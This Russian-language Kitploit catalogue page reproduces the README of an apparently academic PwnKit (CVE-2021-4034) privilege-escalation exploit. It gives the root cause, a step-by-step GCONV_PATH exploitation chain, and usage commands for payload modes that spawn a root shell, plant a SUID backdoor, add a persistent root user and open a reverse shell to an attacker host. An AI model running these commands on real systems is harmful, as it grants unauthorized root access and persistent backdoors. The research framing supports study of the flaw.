Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-4034 — Advanced Linux Privilege Escalation research on CVE-2021-4034 (PwnKit). Features an optimized exploit with 7 polymorphic payload modes (Interactive Shell, Backdoor, User Creation, Reverse Shell, etc). Portfolio piece focused on memory corruption logic, environment variable manipulation, and anti-forensic techniques. | Kitploit
Инструменты/GitHubGitHub/devianntsec/cve-2021-4034
Privilege EscalationMemory ForensicsVulnerability AnalysisExploitationPost-ExploitationPenetration TestingLearning & EducationRed TeamingPayload Development

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Binary Exploitation
GitHubdevianntsec/cve-2021-4034

CVE-2021-4034

Репозиторий
114 месяцев назадЕщё не проверено

Описание

Advanced Linux Privilege Escalation research on CVE-2021-4034 (PwnKit). Features an optimized exploit with 7 polymorphic payload modes (Interactive Shell, Backdoor, User Creation, Reverse Shell, etc). Portfolio piece focused on memory corruption logic, environment variable manipulation, and anti-forensic techniques.

Поделиться

CVE-2021-4034 — PwnKit: локальное повышение привилегий · Исследование магистерской диссертации

Platform Language License: MIT Research CVSS

Уязвимость повреждения памяти в утилите pkexec из polkit
Локальное повышение привилегий → root через запись за пределами буфера
Затрагивает: polkit 0.105-31 и более ранние · Исправление: polkit 0.105-33 (январь 2022)


Интерактивная root-оболочка, полученная через CVE-2021-4034 - PwnKit

Описание

Этот репозиторий содержит моё исследование магистерской диссертации по CVE-2021-4034, уязвимости локального повышения привилегий высокого уровня опасности (CVSS 7.8) в утилите pkexec из polkit, известной как PwnKit.

Уязвимость возникает из-за записи за пределами буфера в логике обработки аргументов pkexec. Когда pkexec запускается с пустым или специально сформированным argv, он читает и записывает за границы массива argv в массив envp, что позволяет непривилегированному локальному пользователю внедрить вредоносные переменные окружения, которые затем загружаются как общая библиотека для выполнения произвольного кода с привилегиями root.

Мой вклад

АспектОписание

Структура репозитория

root@kitploit:~
CVE-2021-4034/
├── README.md                        # Этот файл
├── LICENSE                          # Лицензия MIT
│
├── exploit/
│   └── pwnkit.py                    # Расширенный эксплойт с несколькими нагрузками
│
└── docs/
    ├── screenshots/                 # Демонстрации эксплуатации
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Анализ первопричины уязвимости
        ├── 02-exploitation-chain.md # Разбор цепочки эксплуатации
        └── 03-timeline.md           # Хронология CVE

Быстрый старт

Предварительные требования

  • Система Linux с уязвимой версией polkit (pkexec --version показывает 0.105 или более раннюю)
  • Компилятор GCC (apt install gcc)
  • Python 3.6+
  • Обычная учётная запись пользователя (root не требуется)
  • Для тестирования рекомендуется изолированная виртуальная машина

Использование

root@kitploit:~
# Интерактивная root-оболочка (по умолчанию)
python3 exploit/pwnkit.py -p shell

# Проверка контекста выполнения
python3 exploit/pwnkit.py -p whoami

# Выполнение произвольной команды от root
python3 exploit/pwnkit.py -p custom -c "id"

# Создание SUID-бэкдора в /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid

# Добавление постоянного пользователя root
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# Обратный шелл
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

Справочник полезных нагрузок


Технический обзор

Первопричина уязвимости

pkexec обрабатывает собственный argv для определения запускаемой программы. При вызове с argc == 0 (пустой вектор аргументов) проверка границ argv не выполняется должным образом. Последующее чтение за пределами обрабатывает envp[0] как argv[1], а запись за пределами обратно в envp позволяет атакующему заменить переменную окружения на сконструированный путь. Когда pkexec позднее вызывает g_printerr(), он загружает GCONV_PATH из теперь контролируемого атакующим окружения, загружая предоставленную атакующим общую библиотеку с привилегиями root.

root@kitploit:~
argc == 0  →  argv[1] считывает envp[0]
             argv[1] = "GCONV_PATH=."  (запись обратно в envp)
             pkexec загружает ./pwnkit.so  (общая библиотека атакующего)
             gconv_init() выполняется от root

Цепочка эксплуатации

root@kitploit:~
1. Создаём argv = { NULL }  →  argc = 0, вызывает выход за границы
2. Устанавливаем envp[0] = "pwnkit.so:."
3. Устанавливаем envp[1] = "PATH=GCONV_PATH=."
4. pkexec записывает "pwnkit.so:." за границы в envp[0] как если бы это был argv[1]
5. pkexec разрешает GCONV_PATH=. и загружает gconv-modules
6. gconv-modules отображает кодировку "PWNKIT" на pwnkit.so
7. pwnkit.so:gconv_init() вызывается с привилегиями root
8. Выполняется полезная нагрузка (shell / backdoor / reverse shell / и т.д.)

Ключевые технические детали


Демонстрации

Интерактивная root-оболочка

Интерактивная оболочка

Проверка ID

Полезная нагрузка ID

Проверка whoami

Полезная нагрузка whoami

SUID-бэкдор

Полезная нагрузка бэкдора

Добавление пользователя root

Добавление пользователя root

Обратный шелл

Обратный шелл

Произвольная команда

Произвольная команда


Эмпирическое тестирование

Все тесты проводились на изолированной виртуальной машине VirtualBox с Ubuntu 20.04 LTS и polkit 0.105-26 (уязвимая версия), без доступа к сети.


Техническая документация

ДокументОписание
Анализ первопричиныЗапись за границы в обработке аргументов pkexec
Цепочка эксплуатации

Академический контекст

Это исследование является частью моей Магистерской диссертации по кибербезопасности (UCAM — Campus Internacional de Ciberseguridad), в рамках которой анализируются N-Day уязвимости в различных средах.

Данный CVE представляет вектор локального повышения привилегий в Linux в рамках диссертации, демонстрирующий:

  • Уязвимости безопасности памяти в SUID-бинарниках
  • Эксплуатацию записи за границы через манипуляцию переменными окружения
  • Инъекцию общей библиотеки через инфраструктуру iconv glibc
  • Разработку фреймворка пост-эксплуатации с несколькими полезными нагрузками

Ключевые слова: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit


Автор

Аннаис Молина (devianntsec) — Студент магистратуры по кибербезопасности

GitHub LinkedIn Email


Благодарности

  • Qualys Research Team — Первоначальное обнаружение и ответственное раскрытие
  • arthepsy — Ранний proof-of-concept
  • berdav — Публичная реализация PoC

Лицензия

Лицензия MIT — см. LICENSE


Правовое предупреждение

Этот репозиторий предоставлен только для образовательных целей и исследований в области безопасности в рамках академической магистерской диссертации. Все тесты проводились на изолированных виртуальных машинах без доступа к сети. Используйте только на системах, которые вам принадлежат или на которые вы имеете письменное разрешение на тестирование. Несанкционированное использование против систем незаконно и может привести к уголовному преследованию.

© 2026 Аннаис Молина · Магистерская диссертация по кибербезопасности
UCAM Universidad Católica San Antonio de Murcia · Campus Internacional de Ciberseguridad
Скачать инструмент
Эксплойт с несколькими полезными нагрузками
Python-обёртка с 6 режимами полезной нагрузки: shell, id, backdoor и reverse shell
Автоматическая настройка окруженияАвтоматическое создание GCONV_PATH и настройка gconv-modules
Модули пост-эксплуатацииSUID-бэкдор, создание пользователя root, выполнение произвольных команд
Академическая документацияАнализ первопричины, цепочка эксплуатации и хронология уязвимости
Полезная нагрузкаОписаниеВывод
shellЗапускает интерактивный /bin/sh от rootИнтерактивная оболочка
idЗаписывает вывод id и whoami в /tmp/pwnkit_id.txtФайл
whoamiЗаписывает проверку UID/eUID в /tmp/pwnkit_root_testФайл
backdoor_suidСоздаёт SUID-копию bash root в /tmp/.shПостоянный бэкдор
add_root_userДобавляет пользователя в /etc/passwdПостоянный доступ
reverse_shellПодключается обратно к атакующему через PythonУдалённая оболочка
customВыполняет любую команду от rootstdout / файл
КомпонентЗначениеПримечания
Уязвимый бинарник/usr/bin/pkexecSUID root
Условие срабатыванияargc == 0Пустой argv
Примитив записиЗапись за границы в envpЧерез argv[argc-1]
Механизм загрузкиGCONV_PATH + gconv-modulesСтандартный glibc iconv
Контекст выполненияgconv_init() в общей библиотекеВыполняется с EUID 0
Затронутые версииpolkit ≤ 0.105-31Все основные дистрибутивы Linux
Полезная нагрузкаРезультатПримечания
shell✅ Получена root-оболочкаНемедленный интерактивный доступ
id✅ uid=0(root) подтверждёнВывод в /tmp/pwnkit_id.txt
whoami✅ root подтверждёнUID/eUID = 0
backdoor_suid✅ SUID-бит установлен на /tmp/.shПостоянный после эксплуатации
add_root_user✅ Пользователь созданСохраняется после перезагрузки
reverse_shell✅ Соединение установленоPython reverse shell работает
custom✅ Выполнение произвольной командыПолный контекст root
Пошаговое описание инъекции GCONV_PATH
Хронология CVEОбнаружение, раскрытие и исправление